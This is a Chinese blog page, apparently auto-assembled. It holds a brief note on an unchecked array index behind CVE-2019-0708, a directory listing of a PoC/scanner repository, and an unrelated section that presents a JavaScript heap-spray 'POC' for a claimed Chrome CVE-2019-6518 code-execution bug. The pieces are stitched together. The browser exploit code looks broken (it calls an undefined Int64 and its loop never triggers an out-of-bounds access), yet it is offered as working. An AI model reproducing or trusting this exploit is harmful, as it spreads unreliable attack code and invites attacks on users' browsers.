关于CVE-2019-0708 - 数组越界

博客指出数组赋值时索引未做检查,可通过修改传入参数给任意地址赋值。经bindiff比较,更新补丁对参数进行了检查,解决了该潜在漏洞。

给数组赋值的索引没有做检查,可以修改传入的参数a2, a3给设计好任意的地址赋值
在这里插入图片描述
bindiff比较发现更新补丁做了参数检查
在这里插入图片描述

CVE-2019-0708 POC,检测工具 C:. │ cve_2019_0708.rb │ Dockerfile │ LICENSE │ list.txt │ README.md │ screenshot.png │ 使用说明.txt │ ├─docker │ entrypoint.sh │ setup.sh │ └─rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773 │ .cvsignore │ asn.c │ bitmap.c │ bootstrap │ cache.c │ channels.c │ cliprdr.c │ config.guess │ config.sub │ configure.ac │ constants.h │ COPYING │ cssp.c │ ctrl.c │ disk.c │ disk.h │ ewmhints.c │ genauthors │ indent-all.sh │ install-sh │ iso.c │ licence.c │ lspci.c │ Makefile.in │ mcs.c │ mppc.c │ mst120.c │ orders.c │ orders.h │ parallel.c │ parse.h │ printer.c │ printercache.c │ proto.h │ proto.head │ proto.tail │ pstcache.c │ rdesktop │ rdesktop.c │ rdesktop.h │ rdesktop.spec │ rdp.c │ rdp5.c │ rdpdr.c │ rdpsnd.c │ rdpsnd.h │ rdpsnd_alsa.c │ rdpsnd_dsp.c │ rdpsnd_dsp.h │ rdpsnd_libao.c │ rdpsnd_oss.c │ rdpsnd_sgi.c │ rdpsnd_sun.c │ README │ scancodes.h │ scard.c │ scard.h │ seamless.c │ seamless.h │ secure.c │ serial.c │ ssl.c │ ssl.h │ tcp.c │ types.h │ utils.c │ xclip.c │ xkeymap.c │ xproto.h │ xwin.c │ ├─doc │ AUTHORS │ ChangeLog │ ctrl.txt │ HACKING │ ipv6.txt │ keymap-names.txt │ keymapping.txt │ keynums.png │ licensing.txt │ lspci-channel.txt │ makerelease.txt │ patches.txt │ rdesktop.1 │ rdpsnd-rec.txt │ rdpsnd.txt │ redirection.txt │ seamlessrdp-channel.txt │ TODO │ ├─keymaps │ ar │ common │ convert-map │ cs │ da │ de │ de-ch │ en-dv │ en-gb │ en-us │ en-us-intl │ es │ et │ fi │ fo │ fr │ fr-be │ fr-bepo │ fr-ca │ fr-ch │ he │ hr │ hu │ is │ it │ ja │ ko │ lt │ lv │ mk │ modifiers │ nl │ nl-be │ no │ pl │ pt │ pt-br │ ru │ sk │ sl │ sv │ th │ tr │ ├─tests │ brushtest.c │ brushtestMakefile │ notepadbehindwordpad.c │ ├─uiports │ makefile_nanox │ makefile_qt │ makefile_qte │ makefile_svga │ makefile_xxx │ nanoxreadme.txt │ nanoxwin.c │ qtereadme.txt │ qtewin.cpp │ qtewin.h │ qtreadme.txt │ qtwin.cpp │ qtwin.h │ readme.txt │ svgareadme.txt │ svgawin.c │ xxxwin.c │ └─vnc vnc.c vnc.h x11stubs.c x11stubs.h
CVE-2019-6518是Chrome浏览器的一个漏洞,攻击者可以通过该漏洞在用户计算机上执行任意代码。这个漏洞在Chrome 72之前的版本中存在。 以下是一个简单的POC: ```html <!DOCTYPE html> <html> <head> <title>CVE-2019-6518 POC</title> </head> <body> <script> var spray = new Array(); var i = 0; for (; i < 0x100; i++) { spray[i] = new Uint32Array(0x1000); } var oobArray = new Array(1); var maxSizeInDouble = 0x7fffffff; oobArray[0] = 0.1; var maxSizeInInt = new Int64(maxSizeInDouble); var idx = 0; var victim = null; function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } function spray_dv() { var dv = new DataView(new ArrayBuffer(8)); var o = {a: 0}; var array = [o, 0.1, o]; var unboxed = new Array(0x1000).fill(0.1); var boxed = [{}]; boxed[0]['a'] = {}; boxed[0]['a']['b'] = 1.1; boxed[0]['c'] = unboxed; var maxInt = 0x7ffffff0; var minInt = 0x01000000; var kMaxNumIter = 100000; for (var k = 0; k < kMaxNumIter; k++) { var idx = ((maxInt - minInt) * Math.random()) + minInt; dv.setInt32(0, idx, true); var num = dv.getFloat64(0, true); if ((num >= 0x01000000 && num <= 0x7fffffff) || (num >= -0x80000000 && num < -0x7ffffff0) || (num >= -0x100000000 && num < -0xfffffffe)) { return; } } } function trigger() { var o = {a: 1.2}; var arr = [o, 0.1, o]; var n = arr.length - 1; var idx = 0x7ffffff0; var dv = new DataView(new ArrayBuffer(8)); var unboxed = new Array(0x1000).fill(0.1); var boxed = [{}]; boxed[0]['a'] = {}; boxed[0]['a']['b'] = 1.1; boxed[0]['c'] = unboxed; var maxInt = 0x7ffffff0; var minInt = 0x01000000; var kMaxNumIter = 100000; for (var k = 0; k < kMaxNumIter; k++) { var idx = ((maxInt - minInt) * Math.random()) + minInt; dv.setInt32(0, idx, true); var num = dv.getFloat64(0, true); if ((num >= 0x01000000 && num <= 0x7fffffff) || (num >= -0x80000000 && num < -0x7ffffff0) || (num >= -0x100000000 && num < -0xfffffffe)) { break; } } arr[n] = victim; } function corrupt() { gc(); spray_dv(); oobArray[0] = 1.1; victim = oobArray[0]; for (i = 0; i < 10000; i++) { trigger(); } alert(victim); } corrupt(); </script> </body> </html> ``` 该POC利用了Chrome中的数组越界漏洞,通过这个漏洞可以读写到数组之外的内存,从而达到任意代码执行的目的。请注意,这个POC只是一个演示,如果您想在实际环境中使用它,请务必小心,因为它可能会导致严重的安全问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值